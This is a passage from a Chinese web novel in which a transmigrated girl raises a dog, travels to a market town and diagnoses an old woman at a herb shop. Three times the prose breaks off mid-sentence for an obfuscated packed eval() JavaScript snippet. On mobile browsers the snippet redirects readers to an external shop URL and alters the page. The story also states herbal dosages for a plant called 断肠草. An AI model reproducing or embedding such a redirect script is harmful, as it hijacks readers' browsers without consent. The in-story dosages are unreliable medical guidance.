许娇娇目送她走远,这才拧眉苦思。想来想去,只知“姬”姓似是先秦王族之姓,其余一概不明。唉,知道了反倒更添困惑。不过静尘最后那番叮嘱,她倒是听进去了——眼下自己势单力薄,确该谨言慎行。 此后天气愈发寒冷。期间李婆子又来过两回。第一回带了吃食、一小罐猪油,还有许娇娇从前的衣裳被褥。她说自己厚着脸皮,去那已被人占去的许家旧屋,将她昔日的衣物讨了回来。 许娇娇自是感激不尽。 李婆子临走时,许娇娇央她寻只小狗作伴。第二回来时,李婆子果真抱来一只小黑狗,才断奶不久,圆滚滚的极是可爱。许娇娇爱不释手,将它搂在怀中。那小狗似也知她心意,乖乖蜷着,喉间发出舒服的呼噜声,逗得她笑逐颜开。 4. 第4章 进城 李婆子去后,许娇娇在屋角用木板给小狗搭了个窝,垫上干草,又将静尘送的旧粗布缝了块垫子铺在下头。小狗起初不愿独睡,夜里哼哼不止。许娇娇本想抱它上床,又恐它身上不洁,天寒地冻的,也不便给它洗浴,只得狠心让它睡在窝里。如此两夜过去,小狗便也惯了,只是白日格外粘人,她走到哪儿,它便跟到哪儿。 有了这小东西相伴,往日孤寂竟消散大半。她每日同它说话,逗它玩耍,连上山采药挖菜也带着它,还给它起了个名儿——旺财。 山中岁月,因着旺财,过得快了许多。转眼冬去春来,万物复苏。枯木抽绿,山花绽蕊,春笋也悄悄探出尖嫩的芽。渐渐地,山道上挖笋的人多了起来,许娇娇不时能遇见三五行人。 小旺财已长大了些,身形渐似狼犬,毛色乌黑油亮,被许娇娇喂养得精神抖擞,每日随她在山中转悠,好不自在。 许娇娇采的药草也积了不少,晒干堆在屋中。只是山里潮气重,春日雨水又多,她恐药材久放受潮,便想央李婆子带她进城一趟。可她不便托附近农人传话,只得静候李婆子再来。 接连几日落雨,许娇娇出不得门,便在屋里拾掇整顿。这里修修,那里补补,原本破败的茅屋竟也焕然一新。 她气力小,做不得重活,手却灵巧。她用藤条编了几个小花篮挂在墙上,里头插着山野采来的鲜卉;床头悬一串竹制的风铃,门边挂一袭竹帘;又用柔韧的稻草编了跪垫、坐垫,以藤条盘成小凳。唯有桌子因需劈开大竹,她无力为之,但吃饭用的竹碗、竹筷、竹筒,皆是她亲手慢慢制成。就连院子里,她也铺出一条石子小径,直通篱笆门,以免雨天泥泞;又在院后开垦出一小块地,种了些菜蔬。 菜种是李婆子应她所求带来的,另有一把铁锄、一柄石铲。许娇娇心中感激——这时代似乎仍颇落后,农具竟尚有石制的。 李婆子见了她屋中的布置,每回都要啧啧称奇,说她年纪虽小,却心思奇巧,不知这小脑袋里怎生想出这许多花样。 许娇娇有苦难言:独居深山,若不找些事做,怕真要闷出病来。 这一日,终将李婆子盼来。许娇娇迎她进屋,问过安好,听她说几句闲话,才提起想进城之事。 李婆子思忖片刻:一晃半年多过去,村里人已不大提起娇杏了。恰巧三日后是三月二十八,大郎他舅要进城卖山货。她本想让大郎舅舅替二郎几个捎些布料裁衣,又听说城里那日有热闹可瞧。这丫头孤苦可怜,带她进城看看也不妨事。 遂道:“乖囡想进城,倒也不是不行。正巧大郎他舅明儿进城卖山货,我原不大想去的,既然你想去,明儿我便带你走一遭。只是明儿需早早起身,乖囡不如今晚随我下山,明日天不亮就动身。” “真的?太好了,阿婆!”许娇娇欢喜得直蹦,随即想起一事,又愁上眉梢,“可……可我采了好些药材,想带到城里去卖。这该如何是好?” “哟!可了不得,乖囡竟还认得草药?”李婆子听了,非但不怪,反露出惊喜了然之色,“是你爹教你的罢?我说你自小不声不响,像个失了魂的,大伙都当你是个木头人,谁想你心里比谁都明白!开窍之后,更是伶俐,不但手巧,竟连草药都识得。好娇杏,真没让你娘失望。” 她略一沉吟,又道:“这般罢,我这就回家,让大郎他舅推车来帮你拉药材。你今夜便随车下山,住我那儿,明儿一早好进城。” 许娇娇喜出望外,拉着李婆子连声道谢。李婆子见她欢喜模样,也眉开眼笑,赶忙转身去喊人了。 次日,天还未亮,疏星仍缀在天边,李婆子的兄弟孙二根已候在门外。许娇娇在李婆子家厨房吃了一碗热粥,便随她出了门。 李婆子娘家姓孙,有两个兄弟,一个姐姐,父母早就亡故,李婆子嫁给落溪村的李家三房后,原先年轻那会儿村民大多叫她李家婶子,如今年岁长了,她的丈夫又走的早,村民便逐渐喊她李婆子、或着李阿婆。孙二根在家排行老二,大家都叫他孙二郎或孙二根。 昨夜从山上运回的药材,被孙二根装进一只硕大的粗麻布袋,搁在独轮车一侧。许娇娇算是开了眼界——这独轮车,她还是头一回见。昨晚孙二根来接她时,她还以为至少该有辆牛车,谁想竟是这般简陋。幸得孙二根思虑周全,带了麻袋,才将她所采药草尽数装下。 此刻见那独轮车,她不免有些歉然:孙二根自家还有两麻袋山笋与野味,若再装她的药草,车上便只容得下山笋了。她本想问为何不用牛车,话到嘴边又咽了回去——想来这时代牛价昂贵,寻常农家未必置办得起,便只静静立在旁看孙二根装车。 孙二根将两袋山笋捆扎妥当,又把野味串起挂在车把两侧。许娇娇瞥见边上另有一辆独轮车,由一少年推着。那少年约莫十几岁,天色尚暗,瞧不清面容,只见他身着时下农人常穿的短褐,腰束布带,阔腿裤的裤脚在脚踝处紧紧扎起,显得利落精神。头发束成单髻,余发披在脑后,正是未及弱冠的年纪。 少年见她们出来,朝李婆子唤了声“阿姑”。李婆子笑应了,问道:“三郎也同去?金桂的腿可好些了?”前一句问少年,后一句却是问孙二根。 “是啊阿姑,我随阿爹进城看看大哥,阿娘心里惦记着呢!”少年答道,嗓音有些沙哑,正处在变声的年纪。 “我阿娘这几日还好,只是阴雨天便疼得厉害些,劳阿姑挂心了。”孙二根还未开口,少年已抢先答了李婆子的问话。 听这番对答,许娇娇心下明了:这少年是李婆子的侄儿,名唤三郎;那“金桂”该是孙二根的妻室,似是腿脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222015|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有疾,莫非是风湿之症? 她正思量间,忽觉身子一轻——孙二根竟将她一把抱了起来。许娇娇猝不及防,险些惊叫出声,忙咬住下唇将呼声咽了回去。幸而天色昏黑,无人察觉。 孙二根将她安放在独轮车另一侧,对李婆子道:“娇杏坐我这车罢。阿姐便让三郎推你。”又转向少年叮嘱:“三郎仔细脚下,你阿姑年岁大了,可经不得颠簸。” “是阿爹,我晓得的。”少年一边应着,一边扶李婆子稳稳坐上车。 李婆子笑着拍了拍少年的肩:“一转眼三郎也这般大了,该说媳妇了。前儿东村还有人打听你呢!” “阿姑……”少年声音里透出几分腼腆。 李婆子笑了起来。 道路崎岖难行,难怪要用独轮车,行了一段,话题又转到金桂身上。 “唉,金桂年纪轻轻便落下这病,往后可怎生是好?”李婆子长叹一声,“如今也不知哪儿有好大夫,若能寻着,开几副药吃吃或能见效。听说大郎做工的那位吴大官人是个积善之家,每年冬日还布施穷苦,心肠甚好。二郎这回去见着你大哥,好生问问,能否求吴大官人引荐位良医,给你娘瞧瞧?” “阿姐,莫为难大郎了。”孙二根闻言,推车的手顿了顿,又将颈间的纤绳往下松了松,车子明显快了几分,“吴大官人那样的人家,岂是咱们高攀得起的?没得让孩子作难。这回我打算去瓦子寻那位张大夫,听闻他岐黄之术甚是精湛,只是出诊价昂。若能求他开几副药,或许桂娘便能好转。” 听孙二根婉拒了李婆子的提议,许娇娇暗想:这孙二根是个老实人,话语间透着淳朴与慈爱。 “好是好,”李婆子接话道,“张大夫的诊金确是不菲。出一次诊,少说也要几百文钱,若再开药,只怕一两银子也打不住。” 独轮车在崎岖山路上咯吱前行。许娇娇听着他们姐弟二人的闲谈,从只言片语中推断,这时代风貌颇类唐宋,大官人亦是那时对有身份男子的尊称。 她安然坐在车侧,随车身轻轻摇晃。耳边是两人有一搭没一搭的家常话,眼里是渐淡的星子与缓缓亮起的天光。待东方浮起鱼肚白时,车子已驶上官道。路上行人渐密,多是推独轮车的农人,亦有赶牛车的、驱骡队驮货的商贾,还有乘轿的贵人。偶有鲜衣怒马的男女策骑掠过,扬起一阵烟尘,倏忽远去。许娇娇望着那飞扬的背影,心下不由泛起一丝羡慕。 车子在官道走了许久,久到许娇娇以为快要到了,没想到孙二根忽然将车子拐上了一条石子路,又走了盏茶功夫,人流多了起来,许娇娇环顾四周,沿着路两边有了许些店铺,卖吃食的、卖杂货的、卖布料的、打铁的等等,再往前走,一股河水腥气味扑面而来,只见一条波光粼粼的河呈现在眼前,竟是个码头。 5. 第5章 贵人 独轮车上了一条青石条砌就的路,原先的颠簸减轻了许多,孙二根将独轮车停在一艘渡轮前,热情地和船夫们打着招呼,船夫们有的肩膀上搭着一个汗巾子,有的则光着个膀子,有两个年纪小的伙计扶着跳板。 “娇杏,坐稳了。”孙二根对娇杏说了句,然后顺着跳板将独轮车推上了船,许娇娇吓了一跳。不过孙二根推着车子十分稳当,他将车停稳,嘱咐许娇娇坐好。转身又帮着三郎将李婆子坐的车子推了上来。 “……我也许久没上集市,这一晃快一年了,”李婆子感慨地和一位看起来四十来岁的中年男子说话,“你这生意如今看着比往年要好。”她还坐在独轮车上,一边捶着腿,一边笑着和那人寒暄。听话音中年男子似乎是船老大。 “凑合。”船老大也笑了,黝黑的脸上泛出一丝红光,“也就能混口饭吃。” 看起来孙二根他们姐弟和船老大十分熟念。孙二根不善言辞,他上来后就从怀中掏出十几枚铜钱交给船夫会了账。就蹲在独轮车前听着李婆子和中年男子闲聊。许娇娇边听他们说话,边四下观看。 船上已经有了不少和他们一样推着独轮车的人,对他们的上船似乎司空见惯,只是看了一眼便各自闲聊,等着开船。 船夫们将独轮车归置在一处,李婆子在三郎的搀扶下下了独轮车,用手捶着腰嘴里念叨着年纪大了,坐久了腰酸背痛的。 “乖囡要不要下来走动走动,总坐着也不得劲。”李婆子又转头问她。 许娇娇其实也想下去的,只是没好意思说。 见问,忙点点头。 孙二根就上前将她抱了下来。许娇娇已经习以为常了。她下了独轮车走动了两步,便站在船边的栏杆处向远处张望。 李婆子又紧着提醒她注意不要掉下去的话。她一边点头一边望向另外一边。 只见视线极处是一个很大的码头,有大大小小的船只挨挨挤挤,桅杆林立。最近处是几艘乌篷船,船身黝黑,篷顶的竹篾席泛着经年的灰白,船娘正蹲在船头,就着河水淘洗一把菜蔬。 在河水深处,吃水颇深的漕船笨重地靠着木制栈桥,赤裸上身的脚夫正喊着号子,沿着颤巍巍的跳板,将一袋袋粮米或一卷卷布匹扛上扛下。汗水顺着他们古铜色的脊沟淌下,滴落在潮湿的木板上,瞬间没了踪迹。 竟然是一处漕运码头?许娇娇诧异,这里似乎还没到菰城。不过应该距离不远了。 阳光洒在水面上,渡船开始顺流而下,船行过处的水面上。那些金色的光斑被打散,又聚合,匆匆向后退去。这河水,载着满船人的生计,许娇娇看着两岸倒退的绿树人家,渐渐累了,今日和风舒畅,她有些昏昏欲睡。 “到了。” 不知谁喊了一声。船舱顿时沸腾了,各人拿着各自的物件,闹哄哄的挤到船头,船老大大声呵斥:“都小心些,别挤了,掉下去没人会捞。” 日头升高时,一行人终抵菰城门外。 许娇娇打起精神举目望去,但见城门楼巍峨高耸,灰墙厚重恢弘。门额上两个斗大篆字——“菰城”。城楼之上,守城兵卒持戈肃立,一派森严气象。 “前头过了护城河便进城了。阿姐可乏了?”孙二根随着人流缓步前行,侧首问李婆子。 “你们推车的都不言乏,我坐车的怎敢说乏?”李婆子笑嗔一句,又感慨道,“三郎真是长大了,这一路推着我这老婆子,稳稳当当的。老话说‘好男儿不吃十年闲饭’,果然多生几个儿郎才是正理。” “阿姐说得是。”孙二根深以为然,顺着话头道,“张万生家的浑家再过几日怕要生了,听大夫说,八成又是个儿郎。她这一胎如平安落生,那便是第十一个,他家大郎媳妇上月才得了个儿子,这十一叔还没落地,侄儿到先面世了。” “可不是!那张万生前世不知积了多少德,这辈子儿女双全,人丁兴旺。”李婆子说得兴起,又转问孙二根,“说来四囡都八岁了,金桂身子也无大碍,怎的这些年来再没动静?” 孙二根低咳一声:“阿姐又不是不知,这事哪是想要便有的?她也吃了不少补药偏方,这些年却一直没信儿,怕是不会再有了。” 李婆子听了,轻叹一声,不再多言。 许娇娇在一旁暗暗咋舌:古人可真能生养!听这意思,孙二根已有四个孩子,竟还觉不足? 说话间,队伍又向前挪了几步。许娇娇探身望去,只见前方人头攒动,车马簇拥,城门口聚了许多百姓,却不见有人进城。她正纳闷,忽听旁边两人低声碎语: “……嘿,开国侯府上这排场,真够瞧的!瞧这阵仗,没半个时辰怕是进不了城喽。” “贵妃娘娘的外家,那排场能小了去?听说是府上老太君做寿,宫里特地赏了东西下来,侯爷亲自出城迎呢,闲杂人等都清道了。” “啧,吴大头,这话我可真不吹牛——那侯府里的小娘子,是真真的神仙人物!” “孙四儿,你又做白日梦了!侯府里的金贵娘子,是你这卖炊饼的能见着的?癞蛤蟆打哈欠,好大的口气!” “嘿!你还别不信!我真真儿瞧见了,就在得意斋门前——得意斋你知道吧?咱菰城头一号的酒楼!嚯,要是这辈子能在得意斋吃上一顿,点上几个拿手菜:东坡肉、赛蟹羹,再烫一壶绍兴老花雕……乖乖,立时死了都值!” “谁问你这个了?尽扯吃的!我是问你真瞧见了?” “那还能有假?从一辆明晃晃打着侯府徽记的马车上下来。先下来一位小娘子,穿着葱绿衫子、白绫裙,裙上绣着细细的花儿,那腰身束得……啧,系着条水粉的绦带,发间插着金簪步摇——那张小脸,白得跟刚剥壳的鸡蛋似的,嘴唇一点朱红,走起路来,那真是风吹柳枝,袅袅婷婷。翠玉楼的头牌在她跟前,怕也只算得上个烧火的丫头!” “后头又下来两位,虽戴着帷帽,纱帘遮着脸,可那身段气度……啧啧,梦里都不敢这么想!” “咄!你个猢狲儿,还不醒醒!前头那位分明是个丫鬟,侯府娘子岂会抛头露面?后头戴帷帽的才是真佛!你也不掂量掂量,那是贵妃娘娘的外家,天也似的门第,是你这双招子能乱瞧的?真真儿是癞蛤蟆梦日头!” “我怎不省得?可你想想,哪有丫鬟生得比小娘子还齐整?丫鬟都这般,那小娘子还不得是天仙化人?” “咦?倒也有理……真个那般好?” “谁哄你谁是驴!” “快闭了你那鸟嘴!贵人也敢嚼舌?仔细祸从口出,衙门的杀威棒可不认得你!” 二人正说得口沫横飞,旁边忽横插进一道泼辣的女声。紧接着便听那孙四儿哎哟一声,气虚地嚷:“松、松手……耳朵要掉了!你这恶婆娘!我、我找耆老做主去!” 四周顿时爆起一阵哄笑。 娇娇不禁莞尔——古人八卦起来,倒与今人无异。只是这时代等级森严,平民妄议贵族,确易招祸。听那二人所言,开国侯府上有位贵妃外甥女。贵妃……那可是皇帝身边的人物,遥不可及。从前只在戏文里听过,不想此生竟能身临这般世道,想想也觉玄妙。 众人又候了约一盏茶的工夫,前方队伍终于缓缓流动——想来贵人仪仗已过,城门复开。 “乖囡,咱们这就进城了。”李婆子从前头扭过身来,“瞧见城门上那俩大字没?村里的赵秀才说过,那便是‘菰城’二字。赵秀才是咱们村唯一的读书人,学问好着哩!唉……”说到这里,她忽地叹了口气,转回头似自言自语般低喃,“我娘家祖上原也是耕读传家,出过秀才的,可如今……” “阿姐,”孙二根打断她的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222016|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陈年旧事提它作甚?快进城了,你坐稳当。三郎,仔细脚下!”后一句是对那少年说的。 李婆子被打断了话头,也不恼,只咂咂嘴,又转向许娇娇叮嘱道:“娇杏儿,今儿人多,城门口还排着队。进了城到了地儿,你可不能乱跑,要紧跟着我,当心被歹人用药迷了去!”她板起脸,肃然道,“乖囡生得跟个白胖胖的水萝卜似的,若被歹人拐去卖了,那可了不得!” “知道啦,阿婆。”许娇娇面上微窘——自己哪有那么胖?分明是瘦伶伶的水萝卜嘛!不过她也知李婆子并非危言耸听,这人生地不熟之处,自己又是个孩童,确该万分小心。过了护城河,一行人进了城,沿着青石板铺就的官道缓缓前行。路旁是成片的青瓦白墙房舍,沿街小贩的吆喝声此起彼伏,各式货摊琳琅满目。许娇娇只觉自己仿佛一步踏入了《清明上河图》的画卷,周遭人物鲜活,市井气息扑面而来。 途中,许娇娇与李婆子下了独轮车。孙二根的儿子三郎背着一个鼓鼓囊囊的褡裢,推着车先行离开去看他兄长了。许娇娇便跟着李婆子、孙二根往东门瓦子的集市走去。 沿着青石板路缓缓东行,越往前走,声浪便愈发鼎沸。待转过一个街口,眼前骤然开阔——东门瓦子到了。 此处每逢集市,便如一口煮沸的巨锅,蒸腾着整个城市的烟火气。只见各色布棚、席摊密密匝匝,几乎看不见地面,卖时新果蔬的、贩南北杂货的、售竹木器具的……摊主们的吆喝与买主的讨价还价声混作一团,声浪直冲耳膜。空气中飘散着熟食的油气、瓜果的清香、药材的苦味,还隐约混杂着牲口的气味,种种气息交织,形成一种独属于集市的、生机勃勃的复杂味道。 瓦子深处,几座用竹木席棚搭起的勾栏格外醒目,里头隐约传来说书人的醒木声、杂耍艺人的喝彩,引得人群一阵阵往里涌。更有那卖膏药的、耍猴戏的、算命卜卦的,各自圈出一块地,便是舞台,围观者里三层外三层,喝彩声、惊呼声此起彼伏。 人流如织,摩肩接踵。挑着担的货郎吆喝着借过,灵活地在人缝中穿梭;身着绸衫的商贾与短褐的百姓挤在一处问价;甚至有孩童举着糖人,嬉笑着从许娇娇身边跑过。她只觉目眩神迷,仿佛一滴水汇入了沸腾的海洋,每一步踏出去,都踩在实实在在的、滚烫的生活脉搏上。 孙二根熟门熟路,领着她们在喧嚣中穿行,最终在一处靠近路口、人流不息却又不算最拥挤的地方停下,利落地铺开草席,摆开山货。他拍了拍手,对李婆子道:“阿姐,你先在此照看着摊子,我带娇杏去西头张记生药铺瞧瞧。”说着他从怀中掏出十文钱递给李婆子,“若是有闲汉来问抽成,就说还没有生意,若是来人不依,就给他三五文,多的没有。” 李婆子点头,又叹息:“哎。这一路行来,真真是难,车船费、入城费、官地钱、闲汉抽成,这山货还没卖出,到先掏了不少钱与人。” “可不是,”旁边一人听了李婆子的话,也发出感叹:“如今这世道,处处要钱,一分钱难倒英雄汉呐!” “这位老哥,你这是卖的甚?”李婆子见有人搭腔,便和那人热切聊了起来。 孙二根趁着他们说话的间隙插话:“阿姐,你照看着,我先和娇杏去了。记得年头里,孙三郎在山上挖着老大一株何首乌,就是被那家铺子收去的,得了五贯钱哩!昨晚我帮娇杏搬药草时,瞧见里头有好几样不常见的草药。这丫头年纪虽小,从前又不言语,心里头却明白得很。许大郎原就是位难得的好大夫,娇杏能有这天分,也算是承了衣钵。” 李婆子点头称是,又催促他们:“仔细着点,人多,照看好娇杏,”又细细叮嘱了许娇娇几句。 许娇娇正思量着如何寻药铺,不想孙二根这般周到,连忙向李婆子道了谢,跟着扛起药袋的孙二根往西行去。 6. 第6章 张记生药铺 张记生药铺门宽阔,三开间的铺面。一进门,便有伙计迎上来,热络问道:“客官是瞧病还是抓药?瞧病右边请,抓药前边柜台。” 孙二根将肩上麻袋卸下搁在一旁,朝伙计行了一礼:“劳烦小哥,小人是落溪村来的,这儿有些草药,不知贵店可收?” 那伙计听了,上下打量二人几眼,语气明显怠慢了几分:“收自然是收的,不过得让咱们东家过过眼。” 说着上前掀开麻袋,一边翻拣里头的草药,一边讶然道:“哟!还真不少!黄精、石斛……这是……断肠草?断肠草可有剧毒!这也能拿来卖?”话音未落,他声音已变了调,吓得将手中草药一扔,连退几步。 孙二根上前一步,满脸困惑:“不能罢?这草药是我亲眼看着装的,您说的那不是野水芹么?咱们庄户人家常用它治毒虫咬伤,捣烂敷在伤处,灵验得很。” 许娇娇忙点头附和,又走上前,从麻袋中拣出那株被唤作“断肠草”的草药,举到伙计眼前,脆生生笑道:“孙大叔说得不错,这草药名目甚多,‘断肠草’只是其一,另有个名字叫黄堇。它非但能治毒虫叮咬,还可疗多种疾患。譬如治疮毒肿痛:取鲜黄堇全草五钱,煎汤内服,再以鲜叶捣汁外敷患处。再如治肺病咳血:取鲜黄堇全草一至二两,捣烂取汁服下……” 那伙计一愣,皱眉打量许娇娇:“你一个小娃娃,懂得什么!” 许娇娇见他不信,反有轻视之意,知他嫌自己年幼,便转向孙二根道:“孙大叔,咱们还是等东家出来问问罢。”又扭头对那伙计道:“烦请东家出来瞧瞧,我所说是否属实。” 伙计瞪她一眼:“东家正在会客,你们候着罢!” “多谢小哥告知,我们在此等等便是。”孙二根是个实诚人,听伙计说那是断肠草,心中也打起鼓来。这野水芹确不可食用,误食非死即伤,但疗治毒虫咬伤却是庄户人熟知的。他见娇杏采了不少,心想不论能否卖钱,带上总无坏处,或能被东家看上。不想被伙计几句话说得忐忑不安,却不忍让许娇娇失望,暗忖:待见了东家,若此药当真无用,还有其他几样可询。 二人被伙计引至一旁等候。 许娇娇四下打量,见药铺内里颇深。右边靠墙设一桌两椅,桌上置有脉枕、针砭并几卷医书。地上搁着一具铁药碾,那伙计此时正弯身忙活。正无聊间,忽听门外传来一阵喧哗,夹杂着急促的脚步声——药铺门口蓦地涌进一群人来。 为首的是个黑脸大汉,身高七尺有余,体壮如塔,往门口一站,竟将铺内光线遮去大半。只见他肩扛一根碗口粗的木棒,“咚”一声杵在地上,声如洪钟喝道:“张家匹夫何在?速速出来受死!” 这一声好比惊雷炸响,惊得许娇娇险些从凳上跌下。她抚了抚心口,定睛望去,但见门口已立着七八条彪形大汉,将原本宽敞的药铺挤得满满当当。先前招呼孙二根的那伙计一见来人,脸色骤变,悄然后退至百眼柜后,一闪身溜去后院寻人了。 黑脸大汉环顾四周,未见要找之人,却瞥见孙二根与许娇娇,铜铃般的眼睛一瞪,声震屋瓦:“张家匹夫呢?你是何人?”他见许娇娇不过是个孩童,目光掠过她,直盯着孙二根。 孙二根神色略显紧张,从凳上起身,声音微颤却仍镇定:“小人是来寻博士卖草药的。” 大汉见是与药铺无干之人,便道:“今日此店不做生意,你们速速离去,免得一会儿伤及无辜。” “什么?”许娇娇心头一紧——好不容易采来的药材,还指望卖了贴补生计呢!哪能说不收便不收? 孙二根也觉可惜,但见这阵势,带着娇杏确不安全。这些壮汉稍有不慎,恐生事端。罢了,下个集日再来试试。便对许娇娇道:“娇杏,咱们回罢。下回集日我再带你来。” “鲁大当家息怒!”二人说话间,百眼柜后响起一道急切的声音。随声走出一位三十余岁、蓄着短须的先生。 “大当家息怒,有话好说,有话好说。请先入内用杯茶,消消气。” “呸!”黑脸大汉见来人,双目瞪得更圆,一张黑脸涨得发红,啐道,“谁耐烦吃你的鸟茶!你们这些庸医,老子的娘吃了你们开的药,这几日眼看不行了!你们这些庸医,还我娘命来!” “鲁大当家息怒。不知令堂如今是何证候?在下记得,老太太是风寒痹症所致肢体关节疼痛、畏寒。风寒之邪侵入体内,滞留经脉关节,致使气血不畅,方有疼痛畏寒之症。老朽所开乃疏风散寒、活血通络、祛除风湿的方子。纵不能令老太太痊愈,也该有所缓解,断不会加重病情。还请大当家明察。” “休得狡辩!管你开的什么方子,我娘就是吃了你们的药才加重的!” “分明是你们医术不精!” “就是,狗屁的医术!” “砸了他这医馆,看他安敢害人!” 黑脸大汉身后几人七嘴八舌鼓噪起来。这片刻功夫,门外已围了一圈看热闹的人,个个伸颈探头,指指点点。短须先生脸色一沉,却仍强笑着试图辩明原委。 许娇娇趁他们争执,从门缝中悄然溜出。一抬眼,便见右侧停着一辆牛车,拉车的老黄牛正闲适地甩动缰绳。车上青花棉被微微隆起,似躺着个人。 她上前轻轻掀起被角一瞧——果如所料,鲁大当家将老母亲带来了。老妇人约莫六十上下,花白头发凌乱地贴在枕上,棉被蒙住大半张脸。车旁空无一人,想是全进铺里助威去了。 许娇娇环顾四周,见无人留意,便迅速执起老妇人的手腕诊脉。片刻后,又查看她双手,端详面容,再轻按双腿——因牛车颇高,她费力踏上车轴,勉力做了番检视。一旁看热闹的人瞧见,只当是老人孙女,并未在意。 待她想察看舌苔时,老妇人双目紧闭,她便凑近嗅了嗅气息,心中已有计较。刚舒一口气,却见老妇人缓缓睁开眼,目光涣散,唇间喃喃。许娇娇侧耳细听,依稀辨出是在唤:“狗儿……狗儿……” 她替老妇人掖好被角,略一思忖,挤到门口,从门缝里扬声喊道:“狗儿!谁叫狗儿?老人家醒了,正唤人呢!”一道清亮悦耳的童音响起。 霎时间,铺内喧哗戛然而止。 鲁大当家猛地转身,急奔而出:“阿娘!阿娘!儿在此!您老怎么样?可是要吃茶?” 许娇娇暗暗松了口气。 她见孙二根正四下张望,忙上前道:“孙大叔,你在寻我么?” 孙二根见她,明显松了口气:“娇杏,你去了何处?万万不可乱跑,若走丢了可怎生了的!” “孙大叔,我没事,方才我去瞧了瞧鲁大当家的老娘,就在门口,她不妨事,只要换一味药吃,过两日便能好转。” “可不能乱说!张大夫都治不好的病,娇杏,莫要妄言。” “真的,孙大叔。我见过我爹曾治过和那位老妇人一样的病人,比这老妇人还重些,三四日便见起色了。” “你这小儿,休要信口雌黄!她的病岂是三四日便能好转的?”那伙计原本站在短须先生身后,此时出声斥问,语气不善。 “我没说痊愈,我说有起色!”许娇娇提高嗓音反驳。她仗着现下是孩童模样,也不怕人笑她不懂事。这伙计着实讨厌,分明一知半解,偏要逞强。 她声音清亮稚嫩,又特意扬声,铺内众人皆听得清清楚楚。 许娇娇瞪了那伙计一眼:“我没有胡说。鲁大当家的老娘就在门外,我刚瞧过了,她的病症与我爹曾治过的一模一样。” 哦?”短须先生这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222017|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才注意到站在一旁的许娇娇。见是个七八岁的小女娃,头戴尼帽,身穿半旧袄子,虽是农家打扮,却生的着实好看,一双眼睛清亮亮的,瞧着很是伶俐。只是这般年纪,能懂什么医术?怕是跟着父亲耳濡目染,记得几句药名罢了。 他温声问道:“小娘子,你父亲当真治过这样的病?” 许娇娇垂下眼帘,做出一副努力回想的模样,细声细气地说:“我记得,有一年冬天,有位阿翁腿疼得下不了床,手指头肿得像萝卜。我阿爹给他瞧过……说是寒湿入了筋骨。” 她刻意说得含糊,只提寒湿这个最浅显的判断。怕说的太明白,反而引人怀疑。 “那你父亲都用了什么药?”短须先生追问。 许娇娇摇摇头,声音更小了:“我那时还小,就记得……记得阿爹说过不能只散寒。 那短须先生听到不能只散寒,心中陡然一震。这几日他正为此辗转反侧,隐隐感觉老太太面色暗红、呼吸声粗重,与他方中偏于温燥之药相冲,却又不敢骤改前法。此刻被一个孩子点破,他强自镇定,追问道:“小娘子,你……你还记得你父亲可说过,若不止散寒,当如何? 铺内喧哗不知何时静了下来,连鲁大都屏住了呼吸,目光灼灼地盯着许娇娇。 许娇娇感受到众人视线,手心微微冒汗,但心底那点对药理的笃定却压过了紧张。她抬起头,目光清澈,不再闪躲:“我阿爹……还说过,痹症不解,要内外分看。” “内外分看?”短须先生眉头紧蹙,咀嚼着这四个字。 “嗯。”许娇娇点头,声音虽稚嫩,却条理清晰起来,“就是外头还是怕冷、关节疼,那是寒湿还在皮肉筋骨;可身体里头,也许已经……已经有了郁热。像、像……”她装出一副似乎在努力回想父亲说话的样子,“像捂严实的炭盆,外头摸着不热,里头火星子已经烧起来了。所以光往盆外头加柴不行,得……得把里头的火气透出来,再添新柴。” 她这番用炭盆比喻外寒内热的话一出,满堂皆惊。这绝非一个七八岁女娃能凭空编造的道理! 短须先生脸上血色褪尽,又骤然涨红。他猛地想起自己诊脉时,指下那被沉紧脉象掩盖的一丝不易察觉的滑数,又忆起老妇人虽喊冷,手心却微有潮热——这不正是炭盆之象?他先前竟完全忽略了这些细微之兆! 鲁大虽听不大懂,但见这短须郎君神色剧变,便知这女娃所言绝非儿戏。他急问道:“你这女娃,那你说,该怎么治?!” “娇杏,不可妄言。”孙二根忙打断鲁大的话,一脸焦急与担忧。又转头抱拳对着鲁大陪笑:“这位老兄,她一个小娘子家家,只是跟着她爹学过几日,作不得数,你还是让张博士诊治为好。我们这就告辞。”说完扛起麻袋,拉着娇杏就要往外走。 “站住。”鲁大一声大喝:“拦住他们,让这女娃把话说清楚。” 许娇娇抿了抿唇,挣脱了被孙二根拉着的手臂,给孙二根使了个眼色,小声道:“孙大叔,放心,我无事。” 孙二根见已经无法走脱,只好停下来,将肩上的麻袋又放了下来,看着许娇娇一脸担忧。 